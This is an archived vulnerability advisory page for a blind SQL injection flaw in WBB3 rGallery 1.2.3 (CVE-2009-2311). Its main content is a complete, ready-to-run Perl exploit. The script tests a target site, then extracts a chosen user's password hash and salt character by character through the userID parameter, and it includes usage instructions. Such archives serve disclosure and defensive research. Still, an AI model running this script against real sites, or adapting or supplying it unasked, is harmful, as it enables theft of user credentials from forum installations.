SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

WBB3 rGallery 1.2.3 (UserGallery) Blind SQL Injection Exploit


Arrow  SecurityAlert : 5985
Arrow  CVE : CVE-2009-2311
Arrow  CWE : CWE-89
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Victim interaction required : No
Arrow  Exploit Available : Yes
Arrow  Credit : Invisibility
Arrow  Published : 04.07.2009

Arrow  Affected Software : WBB3 rGallery 1.2.3



Arrow  Advisory Content :  

#!/usr/bin/perl -w

use strict;
use LWP::Simple;

$| = 1;

print q {
#############################
## WBB3 Blind SQL-Injector ##
#### Exploit in rGallery ####
###### by Invisibility ######
#############################
\\\ Special greetz to #
// Katharsis/**/nobody #
\\\ Gunner/**/Cheese #
// Thx ;) #
#############################


};

if (@ARGV < 3) {
print "Usage: wbb3sploit.pl [url] [user id] [User Gallery userID]
\nExample: wbb3sploit.pl www.target.com 1 5\n";
print "[User Gallery UserID] has to be the ID of a User, who has got
pictures.\nExample:
www.target.com/index.php?page=RGalleryUserGallery&userID=5\n";
exit;
}

my $url = shift;
my $uid = shift;
my $galid = shift;

my $prefix;

my @charset =
('a','b','c','d','e','f','1','2','3','4','5','6','7','8','9','0');

print "~ Is it vulnerable?...\n";

my $chreq =
get("http://".$url."/index.php?page=RGalleryUserGallery&userID='");

if (($chreq =~ m/Fatal error/i) || ($chreq =~ m/Invalid SQL/i)) {

print "Nice, seems to be vulnerable!\n";

} else {

print "Seems to be patched, sorry\n";
exit;

}

print "~ Checking Prefix...\n";

if ($chreq =~ m/_wcf/i) {

print "~ Found Prefix '$1'\n";
$prefix = $1;

} else {
print "~ Can't find prefix, using 'wcf1_'\n";
$prefix = "wcf1_";
}

print "~ Exploiting...\n";
print "~^~ Hash: ";

my $counter = 1;
my $countersalt = 1;

while($counter < 41) {

foreach(@charset) {

my $ascode = ord($_);
my $result =
get("http://".$url."/index.php?page=RGalleryUserGallery&userID=".$galid."/*
*/AND/**/ascii(substring((SELECT/**/password/**/FROM/**/".$prefix."user/**/
WHERE/**/userid=".$uid."),".$counter."))=".$ascode."");

if (length($result) != 0) {
if ($result =~ "Keine") {
}
else{
print chr($ascode);
$counter++;
}
}
}
}
my $saltcheck =
get("http://".$url."/index.php?page=RGalleryUserGallery&userID=".$galid."/*
*/AND/**/ascii(substring((SELECT/**/salt/**/FROM/**/".$prefix."user/**/WHER
E/**/userid=".$uid."),1))>0");
if($saltcheck =~ "Keine")
{
}
else
{
print "\n~^~ Salt: ";
while($countersalt < 41) {

foreach(@charset) {

my $ascodesalt = ord($_);
my $resultsalt =
get("http://".$url."/index.php?page=RGalleryUserGallery&userID=".$galid."/*
*/AND/**/ascii(substring((SELECT/**/salt/**/FROM/**/".$prefix."user/**/WHER
E/**/userid=".$uid."),".$countersalt."))=".$ascodesalt."");

if (length($resultsalt) != 0) {
if ($resultsalt =~ "Keine") {
}
else{
print chr($ascodesalt);
$countersalt++;
}
}
}
}
}
print "\n~ Done! Exploit by Invisibility\n";






Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc/fnmatch(3) DoS

Security Risk Medium- 2011-05-13

Allow attacker to denial of service apache 2.2.17 server

Apache RSS Apache Alert

» Apache HTTP Server Denial
   of Service Vulnerability

» Multiple Vendors
   libc/fnmatch(3) DoS (incl
   apache poc)

» Apache Continuum
   cross-site scripting
   vulnerability

» Apache Tomcat DoS
   Vulnerability

PHP RSS PHP Alert

» PHP Hashtables Denial of
   Service

» PHP 5.3.6 multiple null
   pointer dereference

» PHP 5.3.6 ZipArchive
   invalid use glob(3)

» libzip 0.9.3
   _zip_name_locate NULL
   Pointer Dereference (incl
   PHP 5.3.5)

ADT

Protect your family and valuables with Home Security Systems

Copyright © SecurityReason.com. All Rights Reserved.